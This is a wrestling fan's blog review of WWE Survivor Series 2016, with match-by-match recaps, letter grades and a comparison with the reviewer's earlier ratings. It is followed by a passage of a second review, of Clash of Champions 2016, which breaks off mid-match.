Survivor Series 2016
Date: November 20, 2016
Location: Air Canada Centre, Toronto, Ontario, Canada
Attendance: 17,143
Commentators: Corey Graves, Byron Saxton, Mauro Ranallo, John Bradshaw Layfield, Michael Cole, David Otunga

I say this every year but it’s always hard to believe that it’s been a full year since this show. This was the first time that a Survivor Series was expanded to four hours but thankfully there’s a good chance that they could make it work, mainly due to the elimination matches. The main event though is Brock Lesnar vs. Goldberg, which I’m sure will be completely uneventful. Let’s get to it.

Kickoff Show: Drew Gulak/Ariya Daivari/Tony Nese vs. Noam Dar/TJ Perkins/Rich Swann

This is a preview match for something called 205 Live, which debuts next week. I know it hasn’t gone great but the division really has evolved into a better place than when it started. Swann gets a nice reaction and then starts with Nese, who gets chopped in the corner. They do their regular flips with Swann’s jump over Nese’s feet getting a good pop (as always) before it’s off to Perkins.

Some suplexes set up an Octopus Hold but Nese reverses into a kind of gutwrench suplex. Gulak comes in and gets caught in the wrong corner with everyone working him over. We actually get a TJ PERKINS chant as he slaps on the kneebar to keep Gulak in trouble. Everything breaks down and we take a break.

Back with Daivari in trouble this time as Dar gets two off a running kick to the face. Nese offers a distraction though and a spinebuster takes Dar down. A superkick gives Daivari two and it’s back to Gulak to crank on the leg. If this sounds rather uninteresting, it’s only because that’s what it is.

Dar dropkicks his way to freedom and the hot tag brings in Swann to very little reaction. A good looking jumping hurricanrana takes Daivari off the middle rope as everything breaks down again. That means we hit the dives but the referee CUTS PERKINS OFF. Now you know that’s not working so Perkins dives over the referee to take out some villains. Back in and Swann’s standing 450 ends Daivari at 11:48.

Rating: C-. I forgot how uninteresting these earlier cruiserweight matches were. The guys barely have characters and the entire story here was “three faces vs. three heels”. It didn’t get much better for a long time but, as usual, the problem comes down to one simple thing: if the smaller guys on the main roster can be big stars and do all these dives, why should I be impressed when cruiserweights can do them too?

Kickoff Show: Luke Harper vs. Kane

Harper is part of the NEW Wyatt Family, which screwed Kane over, meaning we need a match here. Kane grabs a full nelson of all things and we’re in a chinlock fifteen seconds in. That goes nowhere so Harper grabs a headlock as the fans are oddly split here. Kane starts in on the shoulder by sending it into the buckle. Harper sends him outside though and hits that suicide shove of his (Who needs cruiserweights?).

A slingshot flip splash gives Luke two and we take a break. Back with Kane in a chinlock (well duh) but managing to superplex Harper down for a crash. The sidewalk slam gets two but Harper scores with a superkick for the same. Kane’s running DDT and Harper’s Boss Man Slam are good for two more each but it’s the chokeslam to put Harper away at 9:10.

Rating: D+. Well what were you expecting here? This was exactly the match you would have planned out for them and Kane won with his finisher. It’s about as paint by numbers of a power match as you can get and while it wasn’t terrible, it’s also a match I really didn’t need to see.

The opening video looks at Goldberg vs. Lesnar and then all the Raw vs. Smackdown matches. Well at least they got some time. I’m sure Stephanie’s voiceovers had nothing to do with it.

Raw Women’s Team vs. Smackdown Women’s Team

Raw: Bayley, Alicia Fox, Charlotte, Nia Jax, Sasha Banks

Smackdown: Alexa Bliss, Becky Lynch, Carmella, Naomi, Nikki Bella

Entrances alone take forever of course, which will be a theme tonight. Charlotte is Raw Women’s Champion and has Dana Brooke in her corner. Becky is Smackdown Women’s Champion but Nikki is captain. You know, because of course. Bliss gets a heck of a reaction (gee I wonder why). Actually hang on a second as there’s no Nikki. We cut to the back where she’s down after being attacked. Not to worry though, as Smackdown coach Natalya is more than willing to take the spot.

We settle down to Becky and Banks trading rollups before it’s off to Charlotte for more of the same. Becky can’t get the Disarm-Her and it’s off to Nia as things get a lot more difficult. Carmella and Bliss come in for the expected results and Naomi’s high crossbody is pulled out of the air. Natalya actually gets a reaction but Nia clotheslines her head off for her efforts. It’s off to Fox vs. Carmella with Alicia avoiding a Bronco Buster, setting up what looked to be a mostly missed ax kick for the elimination at 6:35. Bliss comes right in, sends Fox into the buckle and adds Twisted Bliss to tie it up at 6:48.

Charlotte and Naomi come in with the latter cleaning house, including knocking Nia outside and hitting a high crossbody to the floor. Nia posts her though and that’s a countout at 8:23. We pause for the Tye Dillinger TEN chant until Bliss takes Banks down and grinds her face into the mat. Banks sends Bliss and Natalya into each other, followed by the double knees in the corner to Alexa. Back up and Bliss saves Natalya from the Bank Statement, allowing Natalya to roll Banks up for the elimination at 10:20.

Charlotte comes in and gets suplexed, meaning we hit the SUPLEX CITY chants. You would think fans would know more chants than that. Charlotte goes up for the moonsault but, as always, Natalya powerbombs her down for two in the near fall that never ends Charlotte. The required Sharpshooter sends Charlotte crawling for the ropes but a big boot ends Natalya at 12:01.

Becky and Bliss get in an argument over who should come in, allowing Jax to suplex them both at the same time. Of course that gets a MAMA MIA from Mauro, which I miss hearing so often. Bliss gets caught in a slam but Becky makes a blind tag and missile dropkicks Bliss in the back to knock her onto Jax. The Disarm-Her actually makes Jax tap at 13:35 and it’s 2-2 with Becky/Bliss vs Charlotte/Bayley.

Jax mauls Becky, leaving Bliss to get big booted down for the elimination at 14:03. Becky fights back as fast as she can with the series of clotheslines into the leg lariat, followed by Bexplex. Bayley has to dive in for a save after a top rope legdrop before coming in for the slugout. Another Bexplex gets two but Bayley’s elbow to the back gets the same. You can tell Becky is getting tired out there so Bayley blocks the Disarm-Her and grabs the Bayley to Belly for the final pin at 17:53.

Rating: C+. The quick eliminations didn’t help things here but the ending was the right call. There was way too much talent on the Raw side to lose and I’m VERY glad it was Natalya, who can wrestle this style without having to dumb things down too much. Becky was pretty much all the blue team had for a lot of the match and she put up a valiant effort, only to be outgunned. That makes her look strong and Bayley getting a win like this is a good thing for her at this stage in her main roster career.

Charlotte takes Bayley out post match and beats her around ringside.

Smackdown mascot James Ellsworth runs into Karl Anderson and Luke Gallows, who weren’t funny in 2016 either. They make some bad chin puns but Raw GM Mick Foley comes in to run them off. Ellsworth talks about all the great memories he has of Foley, most of which involve him being in extreme pain. Foley thanks him anyway and suggests Ellsworth move to Raw. He appreciates the offer but politely turns it down because he’s true blue. Foley leaves and Ellsworth runs into Braun Strowman, who asks if he knows Ellsworth. James runs in a smart move.

Intercontinental Title: Miz vs. Sami Zayn

Miz is defending and Sami is trying to take the title to Raw. We get the Big Match Intros and Sami gets quite the reaction for being Canadian. Sami spins out of a wristlock to start and Miz looks annoyed in the corner. Miz gets sent outside but Sami has to bail out of the flip dive. The moonsault off the barricade works though, drawing over Maryse for a distraction. Well she can be quite distracting.

This one works well with Miz taking out the knee to get his first advantage. Some hard stomps to the knees have Sami in trouble but he’s still able to clothesline Miz to the floor. A flip dive works as well, followed by a Michinoku Driver for two. Miz’s short DDT gets the same and it’s time for a double breather. The running corner dropkick/clothesline look to set up the ax handle but Sami reverses into the Blue Thunder Bomb.

The Helluva Kick only hits corner though and that means the Figure Four. This one stays on for a good while until Sami makes the ropes, earning himself some YES Kicks. Sami reverses one into a Figure Four of his own but Maryse rings the bell. Since Sami isn’t all that bright, he of course falls for it, only to have Miz roll him up to retain at 14:06.

Rating: C-. Kind of a dull match as you knew a lot of Sami’s near falls weren’t going anywhere. I can go for Miz and Maryse teaming up to steal wins though and it’s a big reason why he’s been an awesome Intercontinental Champion. This would also help play into Sami’s heel turn nearly a year later as he would get tired of losing while playing by the rules. Makes sense, especially in a long term form.

Dean Ambrose and AJ Styles are bickering over being teammates tonight when Shane McMahon comes in and tells them to cool it so Smackdown doesn’t lose again.

Raw Tag Teams vs. Smackdown Tag Teams

Raw: Enzo Amore/Big Cass, Cesaro/Sheamus, Gallows and Anderson, New Day, Shining Stars

Smackdown: American Alpha, Breezango, Heath Slater/Rhyno, Hype Bros, Usos

A fall eliminates both members of a team. Enzo and Cass suck up to the live crowd, as you might expect. New Day and Slater/Rhyno are the respective champions. Fandango tries to give everyone a fashion ticket to start, earning himself a Midnight Hour for the elimination at 44 seconds. New Day spends too much time celebrating though and it’s a superkick from Jimmy to pin Big E. at 1:08.

Gallows comes in to punch Jimmy in the face before handing it off to Cass for the tall power. The fast tags continue as it’s off to Epico vs. Ryder (who is rocking some old school Survivor Series logo trunks) with Mojo coming in for a clap around the ears. Rawley gets taken down into the corner for the huge group beating though as we keep trying to get everyone in. It’s back to Ryder (not Slater like the fans want) but Gallows saves Anderson from the Broski Boot. Instead it’s the Magic Killer to pin Ryder at 5:08.

Gable comes in as Graves talks about how scared he is of American Alpha. It doesn’t seem to be the most valid fear to start though as Epico takes Gable down into a chinlock. Some rolling suplexes have Gable in more trouble and Primo comes in with a springboard ax handle to the ribs. He misses a charge in the corner though and it’s off to Jordan for a quick Steiner Bulldog to get rid of the Stars at 8:08.

The six remaining teams (Enzo/Big Cass, Cesaro/Sheamus, Gallows and Anderson vs. American Alpha, Heath Slater/Rhyno, Usos) come in at once as everything breaks down. That means Enzo gets tossed over the top onto a big pile….which was mainly Raw guys but whatever. Rhyno gets thrown over the top as well, only to have Slater add an even bigger dive. Back in and Cesaro swings Jordan but Gable makes the save with a Rolling Chaos Theory.

Gable isn’t done though as Jordan throws him over the top for a HUGE flip dive onto everyone. Sweet goodness those two were awesome together. I mean, not as awesome as Jordan on his own with Kurt Angle kind of around but still. Back in and it’s a quick Magic Killer to get rid of Jordan at 10:39 as the eliminations are still flying. A spinebuster plants Slater and he’s caught in the wrong corner.

Sheamus won’t tag Cesaro (this was before their ridiculous matching outfits) and an argument breaks out, allowing the hot tag off to Rhyno as everyone bickers. Rhyno comes in and Gores Gallows for an elimination at 12:28. Cass wastes no time with a big boot to Rhyno, followed by the Bada Boom Shaka Lacka for the pin at 12:45.

That leaves us with the Usos….who superkick Enzo down to set up the Superfly Splash and an elimination at 13:26 before I can type the Raw teams. So now we’re down to the Usos vs. Cesaro/Sheamus with the latter hitting the ten forearms (you know the chant) on Jimmy. Cesaro comes in and eats a double superkick but Sheamus Brogue kicks Jimmy with Jey making a diving save.

Super White Noise plants Jimmy again but Jey is right back with a Superfly Splash for two with Cesaro making a save of his own. The hot tag brings in Cesaro for the Uppercut Train and a 619 as the fans lose their minds over Cesaro again. A high crossbody gets two on Jey and it’s time for the Swing. Jimmy breaks up the Sharpshooter and Jey gets the Tequila Sunrise. That’s reversed right back into the Sharpshooter with Sheamus remembering he’s in the match to cut off Jimmy, leaving Jey to tap at 18:55.

Rating: B. This was during the time that I couldn’t stand Sheamus and Cesaro (not a lot has changed in a year) but they did a lot of stuff in this match, despite the crunched timeline. Getting nine eliminations in less than nineteen minutes is a lot but you have to clear the ring out at the beginning. It’s entertaining, but hits a hard ceiling that it’s not getting past.

Stephanie and Foley decide that Sheamus and Cesaro should get a Tag Team Title shot tomorrow night. They recap the rest of the show with Stephanie getting way too serious, as usual.

Preview for TLC with Dean Ambrose vs. AJ Styles in a TLC match for the title.

Cruiserweight Champion Brian Kendrick does his best Sean O’Haire impression and is ready for Kalisto. If Kalisto wins, he brings the division to Smackdown. It’s fine for a one off match but it was really hard to buy Kendrick as the best cruiserweight in the company in 2016.

Cruiserweight Title: Kalisto vs. Brian Kendrick

Kendrick is defending and charges straight into a knee to the face. Kalisto is right back with a suicide dive, followed by a springboard corkscrew crossbody for two. Some rollups give Kalisto more near falls and a shotgun dropkick has Kendrick in even more trouble. A rollup into the corner finally gives Kendrick a breather and he crushes Kalisto between the steps and the apron for good measure.

Back in and we hit the cravate to slow things back down. Kalisto manages to fight up and get to the apron where he grabs a C4 out to the floor in the big crash of the match. A good looking suicide dive takes Kendrick down again but he reverses a super Salida Del Sol into the Captain’s Hook. Kalisto finally grabs the ropes and fires off some kicks, followed by the hurricanrana driver. The Salida Del Sol gets two with Kendrick getting to the ropes. Kalisto heads up top….and here’s Baron Corbin for the DQ at 12:21.

Rating: C-. The match was good at times but Kendrick really isn’t the kind of guy you want as a long term champion. It also didn’t help that you knew they weren’t changing up the cruiserweight division so close to 205 Live’s launch. Corbin interfering was fine enough, but it really does make the title match feel like a big waste of time.

The Kickoff Show panel recaps the show so far.

Daniel Bryan yells at Corbin, who doesn’t want little pests running around on Smackdown.

We recap the men’s Survivor Series match, which started in July at the second Brand Split. Naturally this is about the McMahons as Shane and Stephanie are the Commissioners and therefore they have to be fighting. We look at all the entrants as this is treated like the major match is should be treated as. Then Shane is added to the match and that notion kind of falls apart.

Raw Men’s Team vs. Smackdown Men’s Team

Raw: Braun Strowman, Chris Jericho, Kevin Owens, Roman Reigns

Seth Rollins

Smackdown: AJ Styles, Bray Wyatt, Dean Ambrose, Randy Orton, Shane McMahon

AJ and Owens are the World Champions, Reigns is US Champion and Ellsworth is here as the mascot. This is also during the period where Orton is part of the Wyatt Family because we needed that story to get to Orton as World Champion again. Rollins gets a nice reaction and it’s far better without BURN IT DOWN or whatever the line is. AJ and Owens start things off with Styles wasting no time in hitting the drop down into the dropkick.

That’s enough of that though as it’s and they slug it out with AJ getting the better of it. The STUPID IDIOT chants mean it’s time for Jericho, who throws his shirt at AJ and hammers away. Styles dropkicks him down again as the announcers discuss Jericho insulting Undertaker on Twitter. It’s off to Ambrose vs. Rollins, which turns into far more of a wrestling match than it should.

Rollins can’t get a Pedigree so let’s go back to Jericho. Chris yells at Dean for the $15,000 jacket issue, earning himself some really bad armdrags. An enziguri cuts Dean down for two but Ambrose is right back with a bunch of right hands to the head. Shane comes in for the first time and my interest goes down. I’m still not a fan of middle aged Shane and this isn’t likely to change things.

Shane’s bad punches and an armdrag (better than Dean’s) take Jericho down until a dropkick cuts him off. The announcers debate the TV ratings as Reigns comes in and gets booed out of the building. Roman hammers him down in the corner and Seth comes in for a chinlock. That’s broken up so let’s go with Dean vs. Kevin. Owens hits a superkick but gets caught in a hurricanrana, only to have Jericho break up Dirty Deeds.

Everything breaks down and Strowman tags himself in, leaving the fans to chant for Ellsworth. The fight heads outside with Dean being left alone in the ring until Strowman catches his slingshot dive. Strowman walks him around the ring until AJ’s slingshot forearm to the floor breaks it up. Owens dives onto everyone and Strowman tosses Shane across the ring in a pretty good power display.

Some double teaming doesn’t do much to stop Strowman but they manage to knock him outside. That’s enough of Dean and Ambrose working together so they get in a fight, allowing Strowman to hit the running powerslam for the pin on Dean at 15:57. AJ was looking right at the cover and didn’t move. Shane gets to beat on Strowman for a bit but thankfully he gets hammered down as well.

The Phenomenal Forearm is pulled out of the air with AJ being tossed outside in a nasty heap. Orton gets thrown aside too but a stare from Bray stops Strowman in his tracks. Strowman grabs Jericho by the throat but decides to run Bray over instead, followed by a dropkick to put him on the floor. Braun goes outside as well but runs into an RKO onto the announcers’ table. After we pause to see what a random eight year old fan thought of it (he was applauding), Shane drops the top rope elbow to put Strowman through said table. That and Ellsworth grabbing Braun’s foot get Strowman counted out at 21:18.

Strowman catches Ellsworth running up the ramp though (How slow is this guy?) and throws him off the stage through some tables. Everyone else is mostly dead until Jericho covers Shane for two. Owens is fresh enough to drop the backsplash on Shane for two (but only after mocking the dance). There’s the Lionsault but Shane gets two of his own off a small package.

Shane takes a Codebreaker but Orton comes in before the cover, meaning Shane survives another finisher. He avoids a top rope splash though and it’s off to AJ to work on Jericho. With Owens getting in an insult to AJ’s hair (too far man), Jericho counters the Styles Clash into a failed Walls attempt. The Phenomenal Blitz rocks Jericho but Owens comes in with the List of Jericho to blast AJ. That’s a DQ at 29:23, but not before he gives AJ a Pop Up Powerbomb.

Orton gets the tag and comes in with the RKO to get rid of Jericho at 30:19. Notice Reigns blankly staring up at the ramp and not hearing the RKO RIGHT IN FRONT OF HIM. So it’s down to Shane/AJ/Orton/Wyatt vs. Reigns/Rollins with Orton hammering on Rollins to start. Wyatt and Orton take turns on Seth as Shane is still laid on the apron after his long time in the ring. The superplex takes Rollins down (looks great too) but it allows the hot tag to Reigns. AJ comes in as well and MY GOODNESS the fans do not like Reigns.

House is cleaned with a series of Samoan drops, followed by a great looking Razor’s Edge powerbomb for two on AJ. Seriously that was good enough to cut off the booing. A Pele cuts off a Superman Punch and it’s back to Shane for no logical reason. Shane gets in a tornado DDT to drop Reigns and a clothesline takes Rollins down. Reigns tries a spear but gets awkwardly countered into the post.

In probably the spot of the match, Shane loads up Coast to Coast but gets speared out of the air for a SICK landing. Shane actually kicks out at two but you can see that he is completely gone. Like Lesnar after the botched shooting star gone. The referee says Shane is eliminated at 37:07, presumably due to his brains looking like a pie that has been run over by a bus driven by raccoons.

We pause for a bit as doctors get Shane out of the ring until Roman blasts Bray with a clothesline. Rollins and AJ get stereo hot tags with Seth’s Blockbuster putting Styles down. There’s the slingshot knee to AJ and a suicide dive to Wyatt. With Reigns down on the floor, let’s hit that ROMAN’S SLEEPING chant! Still one of my favorites because the fans just will not give him a break no matter what. An enziguri staggers AJ on top and now it’s WAKE UP ROMAN. Reigns does in fact wake up and saves Rollins from a hanging DDT on the floor.

With Orton down, it seems as good a time as any for a DoubleBomb. Styles makes a save before it can be loaded up but here’s Ambrose to jump Styles again. The fans call Dean a STUPID IDIOT as the former Shield beats up security. NOW the TripleBomb puts AJ through the table, allowing Rollins to get the pin at 47:00. It’s down to two on two with the Wyatts vs. the Shield (not the worst idea in the world)….and here’s Luke Harper for a distraction so the Wyatts can take over.

Reigns posts Orton but Harper superkicks him down, only to have Rollins score with a flip dive to the floor. Back in and the low superkick hits Wyatt but he dives into an RKO, giving Bray the pin at 49:25. Reigns, all alone, sends both of them outside and takes Harper out as a bonus. Back in and Orton eats a spear to save Wyatt, leaving Bray to grab Sister Abigail for the pin at 52:50.

Rating: A. This is a great example of a match that benefits from all of the time it had. What I loved about this was how long it took to take someone out. Most of the people in here were former World Champions and it doesn’t make sense to have them losing in a minute or two like in the other matches. They let the match build up for a change and that’s what makes this feel important.

Above all else though, this felt like someone surviving instead of whoever was left last. Look at the women’s match. Bayley barely looked like she had been through anything at the end. Orton and Wyatt looked banged up, which is how they should after a match like this. It’s a well put together match that got the kind of time it needed, which is exactly how something like this should be. Really strong stuff here with Bray, who actually needed it, getting the win.

We recap Goldberg vs. Brock Lesnar. Goldberg was being interviewed about being in WWE2K16 and said he didn’t owe Lesnar a rematch. Lesnar challenged him though and Goldberg wanted his son to see him wrestle. The match was on and it does indeed feel like a battle of two people who could kill each other.

Brock Lesnar vs. Goldberg

We get the full Goldberg entrance, complete with someone knocking on his door. Lesnar drives him into the corner to start but Goldberg shoves him right back down, scaring the heck out of Lesnar in the process. Back up and the spear connects to drop Lesnar again. There’s a second spear, followed by a Jackhammer to give Goldberg the huge upset at 1:25.

Yeah I still don’t like it. Sure it was shocking and a huge moment, but what did this set up? Goldberg eliminating Lesnar from the Rumble, Goldberg getting the most unnecessary Universal Title reign ever, and then a good sub five minute match at Wrestlemania. One of WWE’s biggest issues is giving fans something to cheer for and they give this spot to Goldberg, who they didn’t even create, for the sake of a video game (might not have been their call) and a story that could have made someone’s career. After this, Samoa Joe and Braun Strowman both fell to Lesnar, but Goldberg doesn’t. I don’t buy it, nor to I like it.

Goldberg celebrates with his family to end the show.

Overall Rating: B+. One of the major perks about a match running nearly an hour on a three and a half hour show is that it can REALLY bring an overall rating up. Throw in a good women’s match and nothing really bad, this is actually a strong show. It’s far from perfect (main event aside, though that was the only thing that could have closed the show) but it’s a heck of a card, which I can always go for of course. The main issue is they could have gotten this one under three hours so it’s a bit long but nothing too bad. Really solid show though and most of that is due to the mega long match.

Ratings Comparison

Rich Swann/Noam Dar/TJ Perkins vs. Ariya Daivari/Tony Nese/Drew Gulak

Original: C

Redo: C-

Kane vs. Luke Harper

Original: C-

Redo: D+

Women’s Survivor Series Match

Original: C

Redo: C+

Miz vs. Sami Zayn

Original: C+

Redo: C-

Tag Team Survivor Series Match

Original: D+

Redo: B

Kalisto vs. Brian Kendrick

Original: C

Redo: C-

Men’s Survivor Series Match

Original: A-

Redo: A

Goldberg vs. Brock Lesnar

Original: N/A

Redo: N/A

Overall Rating

Original: C-

Redo: B+

My eyebrows went up when I saw the original overall rating. The year of mellowing on the ending have helped a lot as there’s no way this is a B-. Also I really couldn’t stand Sheamus and Cesaro back then.

Here’s the original review if you’re interested:

http://kbwrestlingreviews.com/2016/11/20/survivor-series-2016-there-are-no-words/

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.

Clash of Champions 2016
Date: September 25, 2016
Location: Bankers Life Fieldhouse, Indianapolis, Indiana
Attendance: 13,467
Commentators: Michael Cole, Corey Graves, Byron Saxton

For some reason, this was requested back in the day so we might as well check it off the list. This is the first Raw exclusive pay per view after the Brand Split so the roster is a little limited. In this case, the main event is Kevin Owens defending the Universal Title against Seth Rollins. Let’s get to it.

Kickoff Show: Nia Jax vs. Alicia Fox

Jax showed up a few weeks ago and Fox didn’t like it, leading to Fox freaking out. Then Jax beat her up in a match so we’ll do it again. Fox dropkicks her at the bell to start fast and fires off kicks. That earns her some rams into the corner as Jax isn’t having any of that. We’re already in the chinlock for a bit before Jax sends her flying again. Fox slugs away in the corner though and hits a high crossbody. The ax kick gets two but Jax runs Fox over without much effort. The Samoan drop crushes Fox for the pin at 4:54.

Rating: C. This was about what you would expect here, as Jax shrugged off anything Fox threw at her and won pretty decisively. The match wasn’t anything special, with Jax getting a big push as she is new on Raw. Fox is someone who could be destroyed without sacrificing much and keeping it simple and to the point was the right way to go here.

The opening video looks at what it takes to be a champion and how we got to the major matches.

Tag Team Titles: New Day vs. Good Brothers

New Day, meaning Kofi Kingston and Big E. in this case, is defending. Before the match, Kofi talks about how a win here would make them champions for 400 days, but the Good Brothers want to break them up like Brangelina. Anderson and Gallows have never even had a big old bowl of Booty-O’s!

The Brothers finally come out and it’s a clothesline to Big E. on the floor, plus cheap shot to Woods. A Liger Bomb to Kofi for two and the champs are in early trouble. Gallows comes in for a kick to the head and hammers away in the corner. Big E. gets back up but Gallows knocks Kofi right back into the wrong corner. Kofi gets in a shot of his own though and the tag to Anderson takes too long, allowing Big E. to come in for the rapid fire suplexes. The Warrior Splash hits Anderson but he’s able to cut off the spear through the ropes.

Gallows comes in off a blind tag and boots Big E. in the face, setting up the big boot/flapjack combination for two. The tag brings Kofi back in and he is quickly spinebustered for two more. Big E. is dropped again but Kofi breaks up the Magic Killer. Kofi manages Trouble In Paradise and Big E. is back in for the Big Ending but Gallows breaks it up. The referee yells at Gallows, meaning Woods can get in a Francesca shot to Anderson. The Midnight Hour retains the titles at 6:45.

Rating: B-. They crammed a lot into a rather short match here but New Day is always a good choice to open the show. You are going to get the high energy match that the fans will react to and that is a smart way to bring up the energy. The Brothers were viable challengers here and had New Day in a lot of trouble more than once before coming up short. It felt like a hot house show opener and this worked well in pretty much every aspect needed.

We recap TJ Perkins winning the Cruiserweight Classic to become the new Cruiserweight Champion.

TJ Perkins has been working to get here since 1998 and his confidence is going to get him beyond Brian Kendrick.

Cruiserweight Title: Brian Kendrick vs. TJ Perkins

Perkins is defending and I do miss his video game entrance (and Kendrick’s I’m A Man With A Plan song). Not so much the purpose ropes, which was about all the identity the cruiserweight division had. They go with the grappling to start until TJP gets a headscissors. Kendrick switches that into a headlock but gets reversed into a kneebar, sending him straight to the ropes.

The fans are split as Kendrick ties him in the ring skirt and hammers away as commentary tries to get this division and its wrestlers over as much as possible. TJP is right back with a Muta Lock, sending Kendrick to the ropes again. Kendrick manages to send him outside to bang up TJP’s neck but his own knee is hurt as well. Back in and Kendrick gets in a cross arm choke before missing a charge and crashing out to the floor. TJP fights out of another crank and hits a dropkick into a heel kick.

A jumping neckbreaker doesn’t quite work for TJP but a double chickenwing backbreaker two two. With nothing else working, TJP snaps off a top rope hurricanrana to the floor for a double crash. Back in and Kendrick can’t hit the Sliced Bread so TJP goes up, only to miss the 450. Kendrick can’t get the Captain’s Hook but TJP can’t get the kneebar either. Now Sliced Bread gives Kendrick two but this time the Captain’s Hook is reversed into the Detonation Kick. The kneebar retains the title at 10:33.

Rating: B-. This was turning into a heck of a match but there was no way around the fact that it means absolutely nothing. The Cruiserweight Title was introduced in the Cruiserweight Classic and that worked well enough, but after that it became clear why it was gone again. No matter how good the matches might be, and this was a rather good one, you can only get so far with the purple ropes and a title for smaller wrestlers when Daniel Bryan was the hottest thing in the world just a few years ago.

Post match respect is teased but Kendrick drops him and walks off.

Cesaro, in his white tuxedo, is ready to finish the comeback and beat Sheamus to win their best of seven series. This series is about mental toughness and he is ready to show the Cesaro Section the biggest comeback in history.

We recap the first six matches, with Sheamus going up 3-0 but Cesaro has made a comeback to bring us to a winner take all match. The matches have been good, but egads it was hard to sit through this many matches between anyone.

Cesaro vs. Sheamus

The winner gets an unspecified title shot. Cesaro wastes no time in hitting a dropkick but Sheamus is right back with the forearms to the chest. Those are broken up and Sheamus is knocked to the floor, allowing Cesaro to hit the running seated senton off the apron. Back in and Sheamus knocks him off the top for a crash though, setting up a middle rope knee. Some backbreakers stay on Cesaro’s back and we hit the chinlock.

Back up and Sheamus hits a running spinwheel kick in the corner (that looked good) and a top rope clothesline gets two. Sheamus misses a charge into the post though and Cesaro scores with an uppercut to the back. A tornado DDT gets two on Sheamus and the Swiss One Nine (if that’s not the name, it should be) sets up a high crossbody for two more. The Neutralizer is blocked so Cesaro hits a heck of a springboard corkscrew uppercut for another near fall.

It’s too early for the Swing though and Sheamus gets two more off another backbreaker. Two Irish Curses combine for two (so hit a third one then) but the Cloverleaf is countered into a small package to give Cesaro two of his own. Sheamus gets creative with a Razor’s Edge dropped into a backbreaker (OUCH) but the Brogue Kick is countered into the Swing. Cesaro gets the Sharpshooter (while holding his back), sending Sheamus over to the rope.

The apron superplex is countered so Cesaro kicks him in the face instead, setting up one of those suicide dives which lands so badly that the referee runs out to make sure Cesaro isn’t dead. Back in and a quick Brogue Kick gives Sheamus two (as we see the fourth replay of the dive, which looked TERRIFYING).

Cesaro grabs a Neutralizer for two of his own and they’re both down again. Some uppercuts in the corner have Sheamus in more trouble until he cuts off a charge with a raised boot. Sheamus pulls himself up to the top but gets dropkicked down but Sheamus headbutts him right back off the top. A top rope clothesline to the floor hits Cesaro in the back and Sheamus hits White Noise on the floor. Cesaro clotheslines him into the crowd though and it’s a no contest as they’re both out at 16:30.

Rating: B+. This is a great example of a match where time has been kind. I couldn’t stand this feud at the time and the reveal of them getting a Tag Team Title shot didn’t help (though the Bar wound up being great) but this was an awesome fight. They didn’t stop for almost any time during the match and I wanted to see what they were going to come up with next. Awesome stuff here and if they hadn’t done the match to death, I would have liked it a lot more back in the day.

Post match Cesaro wants to keep going but Sheamus staggers out of the arena.

Bayley, still in the Hugger phase, is interrupted by Charlotte, still in….the only phase she has, who says Bayley cheated to get her title shot tonight. Charlotte insists that Bayley isn’t going to win tonight, with Bayley reminding her of that time she pinned Charlotte a few weeks ago. Charlotte: “You can’t even beat Sasha.”

Sami Zayn vs. Chris Jericho

I do miss Sami’s jaunty hat. Believe it or not, this is over Kevin Owens, who Sami doesn’t like but is Jericho’s new best friend. Therefore, this is about Jericho protecting his own honor after Sami said he was Owens’ b****. Jericho yells at the fans to start until Sami drives him into the corner and hammers away. The referee breaks it up and Jericho gets in the cheap shot.

Sami isn’t having that and snaps off some armdrags into a leg lariat, meaning Jericho needs a breather. With Jericho on the floor, Sami follows him out and hits the moonsault off the barricade. Back in and the referee distracts Sami, allowing Jericho to hit the triangle dropkick to take over. A top rope elbow to the face gives Jericho two and he crotches Sami on top to cut off a quick comeback bid. Jericho loads up the bulldog but Sami sends him hard into the corner and sends him outside.

There’s the big no hands running flip dive (that always looks great), followed by a Michinoku Driver for two on Jericho back inside. Sami misses a flying something off the top and Jericho is back with a step up enziguri. Jericho starts kicking him in the head but Sami pulls him down into a rollup for two more. The rope walk tornado DDT sets up the Helluva Kick but Jericho bails to the floor just in time.

The diving tornado DDT takes Jericho down again outside, only to have another Helluva Kick miss back inside. Instead Sami suplexes him into the corner but a third Helluva Kick misses, allowing Jericho to grab the Walls. Sami finally reverses into a rollup for two and the Blue Thunder Bomb connects for the same. Then Jericho hits the Codebreaker for the pin at 15:21.

Rating: B. Were you expecting anything else from Jericho vs. Zayn in a fifteen minute pay per view match? Sami was fighting from underneath for most of the match, which is where he excels like few others. There is something about watching him try to survive against a bigger star and even get close to winning multiple times, only to come up short. Awesome match here, as this show has been pretty great so far.

Bosses Mick Foley and Stephanie McMahon come up to Raw World Champion Kevin Owens, saying if anyone can live up to the rest of the show, it’s him. Owens isn’t impressed ad is ready to show them why they should have taken him over Seth Rollins with the #1 Draft pick. Rollins is no longer then man, but rather the mistake. Their mistake.

We recap the Raw Women’s Title match with Charlotte defending against Bayley and Sasha Banks. Charlotte beat Banks to win the title at Summerslam when Banks had a bad back. Then Bayley showed up and beat Charlotte in a non-title match, setting up the title match.

Raw Women’s Title: Charlotte vs. Sasha Banks vs. Bayley

Charlotte, with Dana Brooke (that didn’t go very far) is defending. Banks chases Charlotte straight to the floor and starts the fight so Bayley kicks both of them in the face. Back in and Bayley rolls Charlotte up for some near falls but Banks isn’t having that. Instead Bayley rolls her up for two but Charlotte pulls Banks down by the hair. We get the big three way standoff until Banks drops Bayley.

Charlotte grabs a neckbreaker to put Banks down but gets crotched on top. Bayley is back up and kicks Charlotte to the floor, setting up a twisting Stunner over the middle rope to take banks down. Brooke gets in a cheap shot on Bayley though, allowing Charlotte to knee Banks into the corner. There’s a hard whip into the corner and Banks’ back is getting a lot more messed up.

Charlotte stops to deck Bayley again but Banks sends Charlotte into the corner to even things up a bit. The Bank Statement is broken up but Bayley is back in with a double high crossbody. Bayley misses a running knee in the corner though and Banks stacks both of them up, setting up the double knees. Back up and Banks breaks up the Figure Eight and Bayley hits the Bayley To Belly for two on Charlotte, leaving everyone down again.

With nothing else working, Banks and Bayley beat up Charlotte…who of course shrugs it off and sends Bayley into the corner again. If that’s not enough, Charlotte drops Banks off the middle rope before doing the same to Bayley. Charlotte hits the moonsault onto both of them for two on Banks, who is right back up with the Bank Statement.

